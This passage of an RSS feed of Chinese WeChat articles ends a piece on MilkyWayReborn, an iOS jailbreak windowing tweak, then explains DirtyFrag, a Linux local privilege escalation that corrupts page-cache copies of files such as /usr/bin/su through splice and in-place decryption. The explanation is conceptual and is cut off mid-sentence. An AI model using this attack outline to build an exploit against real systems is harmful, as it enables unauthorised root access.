normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">记录需要保持前台的bundle ID和scene ID。</span></p></li><li><p><span leaf="">在场景更新时强制foreground。</span></p></li><li><p><span leaf="">在deactivationReasons变化时把退出理由压住。</span></p></li><li><p><span leaf="">在应用退出时清理状态，但不让残留assertion拖垮系统。</span></p></li><li><p><span leaf="">通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">RBSAssertion</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BKSProcessAssertion</span></code><span leaf="">维持进程活性。</span></p></li><li><p><span leaf="">必要时再做一次</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">task_resume</span></code><span leaf="">或者</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SIGCONT</span></code><span leaf="">补救。</span></p></li></ul><p data-line="80" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Tweak.x</span></code><span leaf="">里有一个很关键的入口：它会从图标快捷菜单启动目标App，等Scene真正起来以后，再把Scene包进</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MWWindowView</span></code><span leaf="">，最后挂到主机窗口上。这样一来，多个App都可以各自拥有自己的窗口外壳，互不遮挡时就像并排桌面窗口，叠起来时又能靠拖拽切换前后层级。</span></p><p data-line="82" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MWBackgrounderManager</span></code><span leaf="">在这里也很关键，它专门维护哪些bundle ID和scene ID应该被视为foreground。换句话说，这不是单个窗口的静态UI，而是一套可以持续追踪多个App状态的管理器。</span></p><p data-line="84" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这也是为什么它在iOS虚拟手机上特别合适。虚拟手机本来就适合反复回滚、反复验证和批量测试，一旦再加上这种窗口化能力，很多原本要来回切App的操作，就可以在一屏里完成。</span></p><h2 data-line="86" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">总结</span></h2><p data-line="88" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MilkyWayReborn</span></code><span leaf="">不是系统级分屏方案，它是越狱插件，靠的是Scene、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SpringBoard</span></code><span leaf="">和私有API。换系统版本以后，相关hook点很容易漂移出现不兼容的问题。</span></p><p data-line="90" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">另外，它依赖</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mobilesubstrate</span></code><span leaf="">和rootless越狱布局。如果虚拟手机没越狱，或者bootstrap不完整，插件都不会起来。</span></p><p data-line="92" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">还有一点很重要：它追求的是窗口化体验，不是多开沙盒隔离。也就是说，App本身的数据边界和系统限制并没有被重写，只是交互形态被改了。这个区别要分清，不然很容易把“窗口化”误解成“多开”。</span></p><p data-line="94" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果把iOS虚拟手机看成一台研究机，那么</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MilkyWayReborn</span></code><span leaf="">做的事情，就是给这台研究机补上一层桌面化交互能力。但关于App控制的玩法远不止如此，相信后面社区还会有更多这样优秀的插件诞生。</span></p><p data-line="96" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">前一篇文章讲了“虚拟手机能不能稳定跑起来，能不能越狱，能不能自动化”。这一篇讲的是“既然能跑起来，能不能把它变成一台可以同时跑多个App的窗口机器”。那下一篇讲什么好呢？</span></p><p data-line="98" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最后，抛出一个问题：既然能控制App的启动与窗口化，那是否可以实现安卓系统上那样的“多开”功能？欢迎大家在评论区讨论。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://github.com/34306/MilkyWayReborn">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e2dbfe3f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485193%26idx%3D1%26sn%3D5b53423ee611f250baca7a2181283108">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 09 May 2026 12:11:00 +0800</pubDate>
    </item>
    <item>
      <title>最近是怎么了？又一款通杀全线Linux发行版的0Day漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485155&amp;idx=1&amp;sn=297226eb7a1334739226f0ac851e1e65</link>
      <description>又一款通杀全线Linux发行版的0Day漏洞</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-05-08 09:48</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c8a3dfbb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSq4BUsrXeTiclEp0BibeicpicKUP28aQJFPnOtJcSBvbSBIFhVzsSdic9Z2rmOmdW1bNqmicOutvW3JnYjd0rNPOadDjhicRDGdAa0CNaFyicuKWXcI%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 data-line="0" dir="auto" style=" margin-top: 0px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-pm-slice="0 0 []"><span leaf="">又一款通杀全线Linux发行版的0Day漏洞</span></h1><p data-line="2" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2026年5月7日，又一个Linux本地提权洞公开了，名字叫DirtyFrag。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001504" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=efcce782&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSq4BUsrXeTibaajpcjDn39fBBl1m3beD3lWIJLQJUU8Ns8QslUvPC1eOohSWniavib9EsjxPhJOVsVHhs8t4lMLicn30yLiak7o2ia3WZBr231Hicc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-line="4" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">仓库地址是：<a href="https://github.com/V4bel/dirtyfrag" target="_blank">https://github.com/V4bel/dirtyfrag</a></span></p><p data-line="6" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这个漏洞不是靠单个入口覆盖所有环境，而是把两个同类页缓存写问题串到了一起。第一条链路走xfrm-ESP，能拿到4字节页缓存写；第二条链路走RxRPC，写入值不如ESP自由，但不依赖用户命名空间。两个入口互相补盲区，所以仓库里把它称为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Universal Linux LPE</span></code><span leaf="">。</span></p><p data-line="8" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">截至2026年5月8日，仓库说明里还没有统一CVE编号。ESP分支已有netdev树补丁，RxRPC分支也有公开补丁邮件，但发行版是否回补仍然要看各自公告。</span></p><h2 data-line="10" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">背景</span></h2><p data-line="12" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">DirtyFrag属于DirtyPipe、CopyFail这一类问题：攻击者没有目标文件的写权限，却能让内核在页缓存上写入数据。这里的关键点不是磁盘文件被直接写了，而是PageCache里的那一页被改了。后续进程读这个文件时，读到的就是被污染后的内存副本，直到缓存被丢弃或系统重启。</span></p><p data-line="14" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">DirtyPipe污染的是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">struct pipe_buffer</span></code><span leaf="">，DirtyFrag污染的是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">struct sk_buff</span></code><span leaf="">里的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">frag</span></code><span leaf="">。名字里的Frag就是这个意思。</span></p><p data-line="16" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">从影响时间看，仓库README给出的跨度很长。xfrm-ESP分支从2017年1月17日的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cac2661c53f3</span></code><span leaf="">开始受影响，RxRPC分支从2023年6月的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">2dc334f1a63a</span></code><span leaf="">开始受影响。两条链合起来，漏洞有效生命周期接近9年。</span></p><p data-line="18" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它的共同入口可以拆成三步：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">攻击者只读打开目标文件，比如</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/usr/bin/su</span></code><span leaf="">或</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/etc/passwd</span></code><span leaf="">。</span></p></li><li style=""><p><span leaf="">通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice()</span></code><span leaf="">把目标文件的页缓存页零拷贝塞进网络发送侧</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb-&gt;frags[]</span></code><span leaf="">。</span></p></li><li style=""><p><span leaf="">接收侧内核代码认为自己只是在原地做解密校验，结果把解密过程中的STORE写到了攻击者塞进来的页缓存页上。</span></p></li></ol><p data-line="24" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">抽象成路径就是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="26" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">只读文件PageCache</span><br/><span leaf="">	被splice引用到pipe</span><br/><span leaf="">	被splice发送到socket</span><br/><span leaf="">	进入skb-&gt;frags[]</span><br/><span leaf="">	接收侧原地解密</span><br/><span leaf="">	解密过程对frag执行STORE</span><br/><span leaf="">	PageCache被改写</span></code></pre><p data-line="36" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">关键点在写入和失败返回的顺序：认证失败发生在写入之后。攻击者不需要知道真正的认证密钥，只要能让内核走到原地解密路径，STORE已经发生了，后面的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-EBADMSG</span></code><span leaf="">或</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-EPROTO</span></code><span leaf="">只是在写完之后返回的错误码。</span></p><h2 data-line="38" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">从CopyFail到CopyFail2</span></h2><p data-line="40" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">之前那篇文章分析的是CopyFail，也就是CVE-2026-31431。那条链的核心在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">AF_ALG</span></code><span leaf="">，攻击者通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, 